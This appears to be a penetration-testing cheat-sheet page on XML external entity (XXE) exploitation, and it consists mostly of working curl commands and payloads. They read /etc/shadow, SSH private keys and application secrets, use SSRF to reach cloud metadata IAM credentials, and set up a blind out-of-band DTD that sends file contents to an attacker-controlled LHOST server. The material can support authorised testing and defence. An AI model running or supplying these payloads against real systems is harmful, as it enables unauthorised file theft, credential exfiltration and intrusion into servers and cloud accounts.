Skip to content
HackIndex logo

HackIndex

XXE Exploitation

2 min read Mar 28, 2026

XXE exploitation uses external XML entities to read arbitrary files from the server filesystem, trigger SSRF to internal services, and in some cases execute blind out-of-band data exfiltration. Confirm DTD processing is active through XXE detection before attempting file reads.

In-Band File Read

Read files directly when the parsed XML content appears in the response:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/api/data -H 'Content-Type: application/xml' -d '<?xml version="1.0"?><!DOCTYPE r [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><r>&xxe;</r>' 
<response>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin</response>

Target high-value files after confirming the read works:

┌──(kali㉿kali)-[~]
└─$ for file in /etc/passwd /etc/shadow /root/.ssh/id_rsa /var/www/html/.env /var/www/html/config.php; do echo "=== $file ==="; curl -sk -X POST http://$TARGET_IP:$PORT/api/data -H 'Content-Type: application/xml' -d "<?xml version=\"1.0\"?><!DOCTYPE r [<!ENTITY xxe SYSTEM \"file://${file}\">]><r>&xxe;</r>" | grep -v '^<'; done

SSRF via XXE

Use XXE to trigger HTTP requests to internal services. Replace the file:// URI with an http:// URI pointing at internal infrastructure:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/api/data -H 'Content-Type: application/xml' -d '<?xml version="1.0"?><!DOCTYPE r [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">]><r>&xxe;</r>' 
<response>ec2-instance-role</response>

Blind XXE with Out-of-Band Exfiltration

When the response does not contain the entity value, use a DTD hosted on your server to exfiltrate data out-of-band. Host the malicious DTD first:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://LHOST:LPORT/?data=%file;'>">
%eval;
%exfil;
┌──(kali㉿kali)-[~]
└─$ sed -i "s/LHOST/$LHOST/g; s/LPORT/$LPORT/g" xxe.dtd && python3 -m http.server $LPORT &
┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/api/data -H 'Content-Type: application/xml' -d "<?xml version=\"1.0\"?><!DOCTYPE r [<!ENTITY % ext SYSTEM \"http://$LHOST:$LPORT/xxe.dtd\"> %ext;]><r>test</r>"

References